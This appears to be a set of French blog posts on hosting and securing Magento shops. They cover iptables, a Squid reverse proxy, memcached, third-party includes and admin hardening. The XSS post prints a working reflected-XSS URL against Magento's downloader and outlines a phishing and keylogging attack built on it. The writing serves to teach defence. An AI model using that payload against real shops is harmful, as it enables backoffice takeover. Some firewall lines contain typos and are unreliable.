$IPTABLES -A INPUT -p tcp --sport 0 -m limit --limit 6/h --limit-burst 5 -j LOG_DROP # "TCP source port 0"
$IPTABLES -A INPUT -p udp --sport 0 -m limit --limit 6/h --limit-burst 5 -j LOG_DRop # "UDP source port 0"
$IPTABLES -A INPUT -p tcp -m multiport --sports 20,21,22,23,80,110,143,443,993,995 -m limit --limit 6/h --limit-burst 1 -j LOG_DROP # "Napta/smurfing/Drd/Dos"
$IPTABLES -A INPUT -i $INET -p tcp ! --syn -m state --state NEW -j DROP # "drop TCP connexion wich doesn't start by a syn"
$IPTABLES -A INPUT -m state --state INVALID -j DROP
$IPTABLES -A INPUT -i $INET -p tcp --syn -j syn-flood 
 
echo -e "-> \033[40m\033[1;32m FORWARD RULING \033[0m <-"
$IPTABLES -A FORWARD -m state --state INVALID -j DROP
$IPTABLES -A FORWARD -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A FORWARD -i $INET -o $SERVERS --dport 80 -p tcp -m state --state NEW -j ACCEPT
$IPTABLES -A FORWARD -i $INET -o $SERVERS --dport 443 -p tcp -m state --state NEW -j ACCEPT
$IPTABLES -A FORWARD -o $INET -i $SERVERS --dport 20 -p tcp -m state --state NEW -j ACCEPT
$IPTABLES -A FORWARD -o $INET -i $SERVERS --dport 21 -p tcp -m state --state NEW -j ACCEPT
$IPTABLES -A FORWARD -o $INET -i $SERVERS --dport 22 -p tcp -m state --state NEW -j ACCEPT
$IPTABLES -A FORWARD -o $INET -i $SERVERS --dport 25 -p tcp -m state --state NEW -j ACCEPT
$IPTABLES -A FORWARD -o $INET -i $SERVERS --dport 80 -p tcp -m state --state NEW -j ACCEPT
$IPTABLES -A FORWARD -o $INET -i $SERVERS --dport 443 -p tcp -m state --state NEW -j ACCEPT 
 
echo -e "-> \033[40m\033[1;32m OUTPUT RULING \033[0m <-"
$IPTABLES -A OUTPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A OUTPUT -p ICMP -j ACCEPT
$IPTABLES -A OUTPUT -p TCP --dport 20 -j ACCEPT
$IPTABLES -A OUTPUT -p TCP --dport 21 -j ACCEPT
$IPTABLES -A OUTPUT -p TCP --dport 22 -j ACCEPT
$IPTABLES -A OUTPUT -p TCP --dport 25 -j ACCEPT
$IPTABLES -A OUTPUT -p UDP --dport 53 -j ACCEPT
$IPTABLES -A OUTPUT -p TCP --dport 80 -j ACCEPT
$IPTABLES -A OUTPUT -p UDP --dport 123 -j ACCEPT
$IPTABLES -A OUTPUT -p TCP --dport 123 -j ACCEPT
$IPTABLES -A OUTPUT -p TCP --dport 443 -j ACCEPT
 
echo -e "-> \033[40m\033[1;33m Masquerading \033[0m <-"
$IPTABLES -t nat -A POSTROUTING -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu
$IPTABLES -t nat -A POSTROUTING -i -o $INET -j MASQUERADE
 
echo -e "-> \033[40m\033[1;32m Firewall Setup complete, activating Forward \033[0m <-"
echo 1 > /proc/sys/net/ipv4/ip_forward 
 
echo -e "------------------------> \033[40m\033[1;32mEOF : End of Firewall \033[0m<-----------------------"
;; 
 
stop)
echo -e "\033[40m\033[1;31m----------------------> Shutting down Firewall ! <----------------------\033[0m"
echo " "
IPTABLES="/sbin/iptables"
$IPTABLES -F
$IPTABLES -X
$IPTABLES -Z
$IPTABLES -F INPUT
$IPTABLES -F OUTPUT
$IPTABLES -F FORWARD
$IPTABLES -t nat -F
$IPTABLES -t nat -Z
$IPTABLES -t nat -X
echo 0 > /proc/sys/net/ipv4/ip_forward
echo "-> DONE ! <-"
;;
 
*)
echo "Usage: /etc/init.d/firewall {start|stop}"
exit 1
;;
 
esac
exit 0

Quelques points :
- N’oubliez pas de durcir tous vos noyaux de serveurs, tout spécialement celui-ci, avec le patch GRSEC pour le kernel Linux. (ca doit aussi être décrit dans le howto de mémoire).

- Si on veut être plus méchant, au lieu de DROP on peut utiliser TARPIT si on a compilé iptables avec, ca fait un bel effet sur la machine attaquante !

- Si le scipt ne charge pas c’est que j’ai fais un faute de frappe quelque part, corrigez là Si il ne charge pas parcequ’il manque des target, ajoutez les dans le noyau au moment de sa compilation.

Le Reverse Proxy

Introduction

Le Firewall est une fonction en soit est très peu consommatrice car, sur un noyau linux, c’est embarqué. Netfilter et son application de pilotage iptables sont des outils très puissants et très économes.

Dans le cas qui nous préoccupe, c’est d’autant plus vrai qu’on va filtrer très peu de chose, ce n’est pas non plus le firewall du pentagone, on va juste protéger les accès d’administration. Sur notre beau serveur, on a dépensé 0,000001% de la capacité CPU, que faire du reste ?

Hummmmm du folding@home, du calcul de Pi, un serveur Quake 3, du Seti project : non !

On va faire un reverse proxy et un load balancer qui eux peuvent commencer à occuper un peu la machine sur ses 99,999999 % de temps CPU restant.

Le reverse proxy, c’est une histoire un peu plus complexe. Si on part sur une solution simple, Squid est très capable. Pour de la dentelle, qui nécessite aussi une optimisation du code pour en tirer le plein partit, Varnish est une solution plus costaud mais réellement plus longue à mettre en place. On va donc ici s’atteler à concevoir un Squid correcte.

Rôle

Le rôle du reverse proxy c’est ca :

Réduire les accès aux serveurs Web en les allégeants de tout ce qui n’a pas de valeur ajouté, tout ce qui n’est pas généré. J’ai pris volontairement une page très lourde pour la démonstration.

En l’occurence on va cacher :

• Le HTML
• Les CSS
• Les images
• Les fichiers Javascript

et forcément, le serveur Web, ca lui fait du bien. En résumé, il se concentre sur les requêtes Ajax et le PHP, il laisse les transferts « de base » au Rproxy. Evidemment, un tour de magie de ce type, ca consomme un maximum en RAM car il faut tout stocker en RAM pour aller vite. Si on doit charger chaque éléments depuis le disque dur, c’est plutôt lent. Un bon reverse proxy a donc beaucoup de RAM et un processeur correct, sans plus puisque la charge processeur est faible.

Au final, même si l’exemple ici, un peu exagéré, montre un gain de 97%, on gagne quand même en général au minimum 75% de trafic en moins vers le ou les serveurs Web. Donc qu’on ait un serveur Web ou plusieurs, le reverse proxy est in-dis-pen-sable.

Une autre optimisation intelligente sur ce point est à faire au niveau du code. Un fichier JS, un fichier CSS et pas des millions, ca change des choses. Du coup, concaténer tout cela intelligemment, c’est un plus non négligeable. Un gars s’est pris la tête à faire le boulot pour vous et encore mieux, il en a fait un plugin Magento, que demande le peuple ? Au fait ca s’appel Fooman speedster module et, depuis l’invention de la fénéantise, c’est un des outils les plus indispensable pour optimiser sans se fatiguer.

Installation de Squid

Vous êtes des gens biens, vous avez une Debian.

Vous pouvez aussi être des gens bien et ne pas avoir de Debian mais dans ce cas vous savez installer une tarball ou un package. Il y a même des gens bien qui travaillent avec OpenBSD par exemple, ils ont toute ma considération mais je ne ferai pas de howto pour (Il n’y a plus de gens bien sous HPUX rassurez moi ?)

Le coté « à la main », je sais faire aussi mais, personnellement, j’adore APT et DPKG

Attention, on se concentre, installer Squid ce n’est pas simple sous debian :

~> su (on passe root car on est jamais loggé en root par défaut)
~> apt-get install squid

Ok on respire, on a fait le plus dur. Un petit café pour se récompenser s’impose, bravo, vous avez bien bossé ! (merci aux gars de Gnu aussi). Ca c’est fait, Squid est installé, on souffle, on respire, c’était dur mais la vie est dure parfois.

Configuration de squid en reverse proxy Magento

Phase 2, on essaye de faire croire aux patrons qu’on est payé à faire quelque chose de balaise et incompréhensible, qui mérite probablement une augmentation énorme mais qu’on va se contenter de 10% et une voiture de fonction : on édite le fichier de configuration.

Bon Squid c’est un proxy et un reverse proxy. En gros ca permet dans un cas comme dans l’autre de gérer un cache pour que les fichiers régulièrement demandés soient dans un cache rapide, mémoire de préférence, plutot que redemandés voir ré interprétés par le serveurs Web. Ca allège énormément les serveurs dans le cas du reverse proxy. Le proxy cache les réponses des serveurs Web aux browsers http pour les acheminer au client sans les redemander. Le reverse proxy lui fait l’inverse (d’où le reverse), il stocke les réponses les plus souvent envoyées par le serveurs aux clients afin de servir ceux-ci sans demander quoique ce soit aux serveurs Web.

Bref Squid c’est complexe, énorme, un fichier de conf de base ca fait dans les 7000 lignes avec les commentaires, je vous livre donc ici une version expurgée des commentaires, juste préparer pour du reverse proxy et dont toutes les fonctions ne sont pas activées, juste les principales. Encore une précision, quand vous utilisez un reverse proxy, n’oubliez pas que votre serveur Web ne verra plus toutes les requêtes… Eh oui, c’est bien le but d’ailleurs. Donc ce qui est intercepté doit être minutieusement loggé pour pouvoir avoir des stats et compléter celles des serveurs Web sous Apache.

Allez, voici la configuration :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

# Squid sooooo basic configuration for Magento, by Philippe Humeau & Adrien Urban (c) 2009 NBS System
acl manager proto cache_object
acl localhost src 127.0.0.1/32
acl to_localhost dst 127.0.0.0/8
acl SSL_ports port 443
acl Safe_ports port 80		# http
acl Safe_ports port 443		# https
acl CONNECT method CONNECT
http_access allow manager localhost
http_access deny manager
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
icp_access deny all
htcp_access deny all
 
http_port 192.168.1.1:80 transparent name=proxy_int_IP
http_port 33.44.55.66:80 transparent name=ip_demostore
hierarchy_stoplist cgi-bin ?
 
cache_mem 6144 MB
maximum_object_size_in_memory 8 MB
memory_replacement_policy heap lfuda
cache_dir null /tmp
 
 
access_log /var/log/squid3/access.log squid
access_log /var/log/squid3/access-apache.log combined
refresh_pattern (cgi-bin|\?)	0	0%	0
refresh_pattern .		0	20%	4320
icp_port 3130
 
acl localhost src 127.0.0.1/8
acl localnet src 192.168.1.0/24
 
acl debianUpdate dstdomain ftp.fr.debian.org              # pour les updates Debian
acl debianUpdate dstdomain security.debian.org          # pour les updates Debian
acl dstOutAllowed dstdomain ws.mperf.com                # pour le mailing, remplacer mailperf par votre fournisseur
acl dstOutAllowed dstdomain chart.apis.google.com      # pour les beaux graphs à la google style
acl dstOutAllowed dstdomain www.magentocommerce.com     # devinez
acl dstOutAllowed dstdomain connect.magentocommerce.com # devinez v2.0
acl dstOutAllowed dstdomain pear.php.net                           # devinez v3.0
acl dstOutAllowed dstdomain schemas.xmlsoap.org                # pour les wsdl, soaperie et autres webservices
 
http_access allow localnet debianUpdate
http_access allow localnet dstOutAllowed
 
acl IpInternal myportname proxy_int_IP
acl IpExternal myportname ip_demostore
acl dstdemostore dstdomain www.demostore.fr
acl dstdemostore dstdomain demostore.fr
never_direct allow dstdemostore
 
# demostore
cache_peer 192.168.1.2 parent 80 0 no-query round-robin sourcehash
cache_peer 192.168.1.3 parent 80 0 no-query round-robin sourcehash
cache_peer_access 192.168.1.2 allow dstdemostore
cache_peer_access 192.168.1.3 allow dstdemostore
 
cache_peer_access 192.168.1.2 deny all
cache_peer_access 192.168.1.3 deny all
 
http_access allow dstdemostore
 
http_access deny all
 
access_log /var/log/squid3/demostore-squid.log squid demostore
access_log /var/log/squid3/demostore-apache.log combined demostore

Dans cet exemple, votre serveur dispose de 8 Go de Ram et on en prend 6 pour le cache de squid. C’est évidemment à ajuster en fonction de votre configuration. (cache_mem 6144 MB) On a aussi une taille maximal de fichier à 8 Mo pour cacher les gros objets et on interdit le cache sur disque pour ne pas gréver les performances. On a paramétré le service Squid pour gérer www.demostore.fr et demostore.fr et donné l’accès aux serveurs vers d’autres hosts comme Magento connect ou les updates de Debian.

Le load balancer

Bonne nouvelle : c’est déjà fait !

Eh oui en donnant deux peers vous avez dit à Squid qu’il avait deux serveurs Web dont il devait s’occuper. Vous pourriez vouloir donner un poids différent (ici dans l’exemple c’est du 50/50) si vous avez des serveurs de puissance différentes. Il faudra alors ajouter Weight comme directive dans la déclaration des peers.

Le piège serait de faire du load balancing IP. Netfilter sait le faire, c’est même assez simple à mettre en oeuvre et pour tout vous dire c’est ce qu’on faisait à NBS System avant. Mais cela posait des problèmes quand le client arrivait d’une IP qui changeait en cour de session (gros firewall corporate qui nat par une autre connexion ou même simplement une adsl en ip variable). Du coup il vaut mieux passer par cette solution qui est plus propre.

Memcached

Introduction

Nous y voila, la fin de l’aventure Firewall / Load Balancer / Reverse Proxy est proche…

Si je finis par ce point c’est aussi parce que c’est le plus facile quelque part.

On peut mettre memcached un peu partout dans l’infrastructure, sur le proxy, sur les serveurs Web ou même sur les serveurs de base de données. L’idée c’est de garder les sessions des surfers non pas en fichiers mais en mémoire. D’un point de vue performance, c’est très préférable et c’est simple à réaliser alors pourquoi s’en passer…

Installation

On peut le mettre dans plusieurs endroit ce fameux memcached mais je préconise un serveur qui est unique et accédé / accessible par tous comme la base de données (si on a qu’un serveur de DB) ou le reverse proxy mais, si possible, pas sur les serveurs Web. En effet si l’un tombe, autant que l’autre puisse bosser et reprendre ses sessions. Evidemment, il vaut mieux que le dit serveur soit redondant ou bien costaud pour ne pas tomber sinon c’est toutes les sessions qu’on perd mais vu que le site tombera avec, ca sera un moindre problème

Oui, je sais, toujours un peu douleureuse cette phase sous Debian :
~> su (on passe root car on est plus loggé en root, normal)
~> apt-get install memcached php5-memcached

Allez, ca va aller, c’est finit… On respire lentement, le rythme cardiaque redescend !

Configuration

Dans le fichier local.xml de Magento, vous devriez pouvoir ajouter :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

<global>
  <cache>
    <backend>memcached</backend>
    <memcached>
      <compression/>
      <cache_dir/>
      <hashed_directory_level/>
      <hashed_directory_umask/>
          <file_name_prefix/>
          <servers>
             <default>
              <host>192.168.1.1</host>
              <port>11211</port>
             <persistent>1</persistent>
           </default>
          </servers>
      </memcached>
  </cache>
<session_save><![CDATA[memcache]]></session_save>
<session_save_path><![CDATA[tcp://192.168.1.1:11211?persistent=1]]></session_save_path>
</global>

On peut aussi mettre memcached en dehors de Magento et de sa configuration, tout simplement en installant le démon avec une configuration dans le /etc/memcached.conf :

1
2
3
4
5
6
7

# memcached ultra simplistic config file by philippe Humeau (c) 2009 NBS System
-d
logfile /var/log/memcached.log
-m 1024
-p 11211 
-u nobody
-l 192.168.1.1

Conclusion

1. Vous méritez un café après tout ce travail
2. Je mérite un café après ce travail de rédaction
3. Il est incompréhensible que les producteurs de café soient pauvres
4. La personne qui monte un site Magento entièrement dédié au café, il va se faire du blé

Oui… Je sais… J’ai toujours un petit soucis sur les conclusions mais bon, vous commencez à être habitués depuis le temps et puis je me soigne.

Prochain exercice de style, l’article 2/3 : Configuration d’un serveur Web pour Magento !

PS : N’oubliez pas de vous inscrire pour Bargento 2, il reste encore quelques places et après on est complet, ce qui implique que même en arrivant à l’improviste sur place, on ne pourra pas vous faire rentrer pour rester dans les capacités d’accueil de la salle.

De plus, le papier sur Zend Application Server et les performances de Magento devrait apporter un jour nouveau et pas mal de complément sur ce mini tuto / howto.

Par manque de temps, je n’ai pas eu le temps de tout tester sur un serveur donc si il y a des boulettes dans les fichiers de configuration, n’hésitez pas à me les signaler, je modifierai l’article.

Donc, aujourd’hui : les inclusions de contenus tiers !

Un petit schéma pour aider à comprendre (quoique… J’ai jamais été très fort en dessin. J’ai été en classe de dessin parce que la plus belle nana du collège faisait dessin, pas réellement pour mon talent en fait). Bref, je m’égare, donc ci-dessous, un site standard, au milieu. Au dessus un bandeau de pub qui vient d’une régie publicitaire, à droite un flux RSS et en bas, c’est de l’invisible, ce sont des inclusions dans le code source des pages.

Des inclusions, pour faire quoi ?

Eh bien rendre le site plus dynamique, ajouter un widget ou un flux rss, récupérer du contenu éditorial écrit par d’autre, collecter des statistiques, avoir un menu déroulant tout beau, que sais-je encore. Les inclusions de contenus tiers, c’est tout ce qui ne vient pas de votre serveur local, tout ce qui est appelé par des GET depuis d’autres serveurs. des moteurs de recherche de prix en Iframe, un bout de javascript qui fait une merveille ou une autre, un logo qui témoigne  de votre allégence éternelle à la horde, bref les exemple ne manquent pas.

Les plus classiques :

1. Les bons vieux tags de statistiques et de télémétrie : Google analytics, Xiti etc…
2. Le RSS qui provient d’un fournisseur de produits ou de nouvelles
3. Les bouts de codes javascript copier/coller qui font un rollover jolie sur le menu ou des Jqueries toutes précodées
4. Des CSS ou skins contenants des images venant d’ailleurs
5. Les bandeaux publicitaires
6. Les exports des données/commandes/info vers un tiers

En quoi cela peut-il ralentir mon site ?

Eh bien tout dépend du moment où ca se charge et de ce qui bloque ou ralentit.

Imaginons qu’un développeur ait mis dans les includes chargés en en-tête de page, le tag analytics. Imaginons ensuite que Google ne réponde plus (c’est rare) ou qu’il soit interdit d’y aller depuis le poste qui charge la page (je l’ai déjà vu, le proxy bloquait les IP google). Le résultat c’est que le code se chargeant au tout début de la page, la page ne charge plus. Elle va attendre le timeout par défaut (30 secondes) puis va finir par charger le reste…

En fin de page, c’est parfois moins génant, l’internaute a sa page, fait sa vie, le browser reste en cour de connexion mais au moins tout ce qui est déjà chargé est potentiellement fonctionnel.

Si on prend le cas d’un menu JS copié/collé, l’auteur peut avoir envie de savoir qui l’utilise et de se renvoyer un petit « ping ». A chaque fois que son menu est chargé par exemple, il fait un GET d’une page sur son site. Si son site est coupé, le menu ne charge pas, vous dépendez d’un tiers.

Votre centrale de publicité ou le fournisseur de votre skin peut aussi se mettre à ramer. En plus de votre chargement, vous ajouter sa latence de traitement à celle de votre page.

Ajax résoud partiellement le problème en effectuant ses requêtes en background, dans la machine virtuelle javascript du navigateur. Si un thread est planté, c’est moins grave, ent tout cas non bloquant visuellement.

Enfin, il ne faut pas oublier qu’appeler un contenu tiers, c’est ajouter la latence de la connexion entre votre client et vous à celle qui sépare votre client de toutes les sources tiers qui sont inclues. Par exemple, si ntre client [C] se connecte au serveur [S] qui sert une page où se trouve : un bout de javascript [J] qui fait un appel à l’extérieur, une régie pub [P] et un flux rss [R], ca nous donne :

[C] –> [S]        (latence entre le client et le serveur)
[S] –>[C]         (réponse du serveur au client, eh oui, le paquet TCP il repart pas avec ses petits pieds)
[C] —> [J]      (latence du client à la source de Javascript)
[J] –> [C]       (les petits pieds tout ca tout ca)
[C] —–> [P]  (latence du client à la régie pub)
[P] –> [C]       (les petits pieds…)
[C] -> [R]         (latence du client à la source RSS)
[R] –> [C]       (…)

Bonne nouvelles, les requêtes étant séquentielles, votre client encaisse toutes les latences et les additionne !
Votre latence qui était –> + –> (allez / retour client <—-> serveur) devient :
–>x2  +     —>x2   +   —–>x2 + ->x2
(serveur) (javascript)(régie pub)(rss)
Soit en équivalent « petits tirets » : —- devient ———————-
Si le tiret vaut 10 ms, on passe de 40 ms à 220 ms…
Le tout sans compter le chargement des contenus en eux même (le menu, les flux xml du rss, la JPEG de la banière)

Les navigateurs ne sont pas tous idiots et souvent ils demandent tout en même temps et traitent à l’arriver. Mais si c’est un point bloquant qui est en attente (le JS du menu par exemple) ca ne change rien, le client rame. Il faut donc choisir judicieusement les prestataires de ces contenus tiers (rapidité, disponibilité) et vérifier le comportement de son site s’il est isolé de ses « fournisseurs ». Pour cela, sous Linux rien de plus simple :

iptables -I OUTPUT -j DROP
wget http://localhost/

On interdit toute connexion à l’extérieur (iptables -I OUTPUT -j DROP), puis on faire une requête sur la homepage du site. Si ca charge rapidement, on est plutôt bien partit. Si ca bloque, c’est que l’on a une relation de dépendance ! Ca ne teste que la home mais vous pouvez le tester sur une sous page, de même si vous avez un virtualhost vous aurez peut être à remplacer « localhost » par son nom. Le DROP permet d’avoir un comportement comme si l’hote distant était indisponible. Si vous mettez DENY ou REJECT à la place, votre site aura une réponse « non » instantanée et ca ne sera pas réaliste.

Enfin, si votre site doit poster l’information qu’il a collecté, une vente par exemple et l’acheminer à votre système  SAP, à votre système de Stats, à votre système de livraison, si ce fameux système rame, ca va ramer aussi. Bon si c’est la livraison, c’est après le checkout donc le client a tendance à ne pas trop zapper votre site après avoir mis sa CB, mais avant…

Ok, ca peut faire ramer, mais est-ce potentiellement dangereux ?

Oui, bon je vous vois d’ici me dire : « Ah-Ah ! Ca va reparler de sécurité »

Pas du tout, enfin un peu. Mais c’est comme on dit à la blackhat du « Digital Self Defense », rien à voir avec la sécurité
(Ah bah ça ma p’tite dame, la mauvaise foi, c’est un métier !)

Bon, c’est risqué ou pas alors ?
Bien sûr que c’est risqué, vous croyiez que j’avais mis le titre juste pour poser un smiley ?

Si votre fournisseurs de RSS met un bon gros bout de Javascript dans son flux ? Vous l’affichez ? Votre moulinette d’affichage est assez intelligente pour éviter d’afficher du code ? Sûr ? Et si ca se trouve, votre fournisseur de contenu RSS a une faille XSS qui permet à n’importe qui de poster du JS… Si si ca arrive les XSS

Et votre régie publicitaire ? Elle est sérieuse ? Ahhhhh bon. Donc elle lit le code des Flashs postés pour éviter les attaques par anti DNS pinning j’imagine et puis elle ne rame jamais. C’est comme Gmail, ca plante jamais ça monsieur !

Et le bout de Javascript copié/collé pour faire un beau menu qui déroule, en glissant sur un rollover de folie avec des animations subliminales ? Il a été relu ? Il ne fait aucun get/post nul part ailleurs ?

Comment éviter cela ?

Eh bien en premier lieu vérifier le taux d’autonomie / dépendance de votre site Web avec le test iptables -P OUTPUT DROP.

Si ca passe, vous êtes assez tranquille sur les ralentissements sinon il regarder l’appel qui fait ramer. Mesurer les temps de réponse de chacune de vos inclusions pour savoir si ils sont tous globalement bon. Ca dépend aussi du budget que vous avez mis dans votre développement. A 2 000 € le site, il y aura de la récupération de code, c’est fatal. A 15 000 ou plus, si un code javascript est copié/collé c’est clairement un peu abusé.

Sur la sécurité c’est une autre histoire. Prenez des prestataires connus, de confiances, aux performances régulières et vérifiables. Pour tout ce qui concerne le contenu qui sera directement affiché dans la page sans vérification (RSS par exemple) redoublez de prudence. Votre site affichera ce qu’on lui envoi, votre internaute lira ce que le site lui envoie.

Si le site qui est la source d’information est corompu, votre site est compromis, votre internautes sont compromis. C’est invisible et imparable, avec une iframe « invisible » (d’un pixel) qui contiendra le javascript malieux, l’utilisateur sera à la merci de l’assaillant. N’oubliez pas que Flash & Javascript disposent de fonctionnalités très puissantes permettant le pire comme le meilleur !

Je suis content de revenir parmis vous pour discuter d’un sujet qui a refait l’actualité en mon absence semble t’il : Magento & la sécurité.

Après une belle vague de 3 Cross Site Scripting (XSS) à laquelle nous avons essayé d’apporter des solutions avec Gabriel, une nouvelle faille de type CSRF a été révélée, un peu sauvagement et un peu tôt visiblement.

En général, dans le monde des experts sécurité, on évite de publier une vulnérabilité avant d’avoir prévenu l’éditeur du produit et avant de lui avoir donné le temps réagir. Un mois est une valeur qui n’a rien de conventionné mais qui est communément accepté comme le « minimum ». Le soucis c’est que quand une faille affecte ™Windows©, ©Mic®osoft™ peut déployer un patch correctif par son système automatisé de mise à jour.

Pour un site Web commerçant c’est un peu plus complexe. On ne fait pas une montée de version comme ca, du jour au lendemain. Déjà même pour ce blog WordPress et même en étant moi même un IT, j’ai 8 extensions à mettre à jours et je ne le fais pas par crainte de planter le blog. Alors que dire pour un site de E-commerce.

Donc, quand on a une faille sur Magento, on peut parier que le correctif se fera « à la main » et pas par une montée de version, dans le meilleur des cas. La plupart du temps, le correctif est tout simplement ignoré, on vit avec la faille en espérant que personne ne la remarque.

Revenons à nos moutons : le Cross Site Request Forgery aka « CSRF »…

Encore un OVNI pour beaucoup de Web developpers mais une réalité terrain pour les personnes mal intentionnées. La sécurité « Web 2.0 » (chapeau les marketeux) est une chose un peu complexe, il existe de multiples attaques (XSS,SQl injection,anti dns pinning, CSRF, Sop, smuggling, etc…) et un article complet aurait bien sa place à l’avenir sur le sujet.

Dans l’immédiat, il est important de comprendre que la faille vient souvent d’un mauvais usage (ou d’un oubli d’usage) de Zend. Zend est propre et filtre correctement tout un tas de chose qui peuvent compromettre un site, mais quand on ajoute « à la main » du code, sans appeler les routines natives Zend, on perd cette protection. Attention, ce qui vaut ici pour Varien vaut aussi pour les développeurs Web qui enrichisse un site de E-commerce de leurs propres créations. Zend protège mais ne fait pas tout non plus contre toutes les attaques…

Pour se protéger, il existe des méthodes simples, à mettre en place systématiquement (à mon sens). Dans un premier temps, les URLs d’admin doivent être obfusquées, cachées, en tout cas difficiles à trouver. Pour se faire, garder le chemin par défaut n’est pas une idée à retenir

Dans le fichier qui paramètre cette URL (app/etc/local.xml), on peut modifier la ligne :
<frontName><![CDATA["mettre la fin d'url souhaitée ici"]]></frontName>

Ensuite, comme après chaque manipulation fondamentale, on efface son cache (dans var/cache/)
Si vous ne trouvez pas le frontName, vous pouvez l’ajouter dans des tags <config></config>

C’est une protection de fond et autant, au passage, ajouter celle qui était déjà mentionnée dans l’article sur les correctifs XSS : le htpassword. Comme cela, votre admin est difficile à trouver et ensuite pour y entrer, il faut avoir un premier login/pass… dur.

<LocationMatch “/mettre la fin d’url souhaitée ici” >
AuthUserFile /var/www/htdocs/.htpasswd
AuthType Basic
AuthName “Magento Backoffice Login”
Require valid-user
</LocationMatch>

Je pense qu’on peut aussi ajouter : (j’ai pas testé cependant)
Allow from 111.222.121.212 (remplacer par son IP)
Satisfy Any

Comme ca, on peut soit venir de l’ip ou avoir le mot de passe. Soit l’un, soit l’autre, on peut faire que l’un ou que l’autre. Si on vient de la bonne IP, évidemment, on a pas à taper le mot de passe. Avec ca, finit les XSS ou CSRF sur vos backoffice d’admin.

Ceci étant, ça fait deux série de vulns en 2 semaines, ça veut dire qu’il va falloir passer tout cela au crible, je suppose aussi que des experts sont déjà sur le coup et en ont déjà communiqué à Varien mais attendent un mois avant de les publier.

Allez, demain ou lundi on parlera de ces inclusions de contenus qui ralentissent les beaux sites web que vous mettez en place

« Montre à un développeur une XSS, il l’a corrigera. Apprends lui comment ça marche, il n’en fera plus ! »

Du moment que la pensée de Lao Tseu débattue n’est pas :
« Quand le sage montre une XSS du doigt, l’idiot regarde le doigt »
ca ne sera pas du temps perdu !

Plus sérieusement : une XSS, ça fait peur! C’est un peu comme une maladie honteuse dont on ne saurait pas trop ce qu’elle fait et à quoi ça peut bien mener. Certains diront que l’on crie au loup, d’autres savent la portée et le résultat de ce genre de faille.

Principes généraux

XSS pour Cross Site Scripting. Soit en gros, répandre du code dans un site. Le but (pour le pirate) c’est de faire s’afficher, non pas du html que votre navigateur affichera, mais de renvoyer du langage de script (javascript notamment) que votre navigateur interprétera.

Si on fait simple, imaginons que quelqu’un post dans ce blog un commentaire en Javascript qui soit <script>alert(123)</script> et que mon blog ne soit pas protégé contre ca. Quand vous allez afficher le commentaire dans votre navigateur, il ne va pas mettre le texte <script>alert(123)</script> dans une page HTML et vous montrer le texte mais il va lancer ce code Javascript et ouvrir une boite de dialogue qui contiendra le texte « 123 ».

Pour la démonstration, les experts en sécurité ne se prennent pas la tête à mettre un code complexe, il suffit de prouver que la boite d’alerte s’affiche, si elle le fait, on peut ensuite mettre ce que l’on veut comme script à la place et que la XSS est présente.

L’exemple est bénin, mais…

Si à la place d’une gentille popup box qui affiche 123, mon navigateur se met à faire des choses plus discrète et plus gênante ? Par exemple, créer une Iframe invisible en surimpression de la page que je consulte ? Iframe qui va envoyer les informations vers un autre site contrôlé par un pirate ? Ce n’est pas de la science fiction, c’est même très simple à faire pour un professionnel. Mais le Javascript, surtout couplé à Ajax, c’est encore plus puissant que ca. On peut écouter les frappes clavier, scanner le réseau local de la victime, altérer son affichage de page web, effectuer des opérations sur les sites ou il est authentifié, lui voler ses sessions, bref, ca peut être très dangereux, selon les cas, les circonstances etc…

Le cas des trois XSS de Magento

Ok, vous avez compris, le XSS ce n’est pas du tout anodin. Dans le contexte des 3 failles Magento, on risque quoi plus précisément ? Pour les  deux premières présentées dans cet article, pas grand-chose. Disons que le risque est présent mais que l’exploitation est complexe car la méthode utilisée est un POST et non un GET. En gros, à la place de l’administrateur légitime, il faudrait saisir « > <script>alert(123)</script> dans le champ login. Et à la place de (123), mettre le code source Javascript d’un cheval de Troie. (ca existe, ca se trouve sans soucis)

Comme l’administrateur légitime ne le fera pas de lui-même, ça implique, si l’utilisateur est déjà loggé sur son backoffice, de l’amener à se connecter à un site contrôlé par le pirate, qui va faire du scripting dans son dos avec la faille XSS, pour tenter de prendre le contrôle de sa session. (Le POST sera alors « transparent »)

Si l’utilisateur n’est pas loggé, ca implique toujours de l’envoyer vers un site contrôlé par le pirate et à utiliser ce site pour lancer un javascript qui va écouter les frappes clavier, pour obtenir son password de backoffice, en espérant qu’il ne ferme pas l’onglet du site compromis (et ne fasse pas de reload ou de back) pendant qu’il se loggera sur son backoffice. Le taux de réussite est moyen, la patience est de rigueur mais ce n’est pas infaisable. Disons que pendant nos tests d’intrusion, on a un taux d’environ 20% sur ce type d’attaque.

Dans les deux cas, exploiter ces XSS en méthode « POST » c’est un peu complexe et ca s’assimile plus à une exploitation de type CSRF. Ce n’est pas infaisable mais le script kiddie du coin ne maîtrise pas ce genre d’attaque un peu complexe (heureusement). Ca reste mal mais pas catastrophique puisque la barre d’entrée est assez élevée.

Par contre, la troisième, le downloader… Ça c’est très dangereux.

Quand j’appelle :
http://mon_site_magento/ downloader/?return=%22%3Cscript%3Ealert(123)%3C/script%3E

Je fais un GET et non un POST et ca change tout ! En fait ca simplifie tout !

Par exemple, un simple fakemail (usurpation d’identité) permettra à l’attaquant d’envoyer un lien piégé, contenant du Javascript nuisible et adapté, ce qui lui donnera le contrôle des prochaines actions qui seront effectuées. L’idée est simple, le mail affiche un lien normal vers le backoffice, le lien en réalité contient le XSS et donc du Javascript d’écoute du clavier (par exemple) et ensuite vous vous loggé… Perdu.

Ecrire un fakemail, c’est le paragraphe 1 du chapitre 1, du manuel du pirate. Vous pouvez même le faire en changeant votre nom dans outlook, c’est déclaratif… Je peux vous envoyer un mail de la part de neil.amstrong@lune.org en 10 secondes. Alors si un pirate se fait passer pour le patron de la boite et demande par mail à la personne en charge du backoffice de se connecter (lien dans le mail) et de contrôler les ventes, vous pensez qu’elle va faire quoi la personne en question ?

C’est une attaque très simple à mener donc très dangereuse et là, le script kiddie peut prendre le contrôle de votre backoffice.

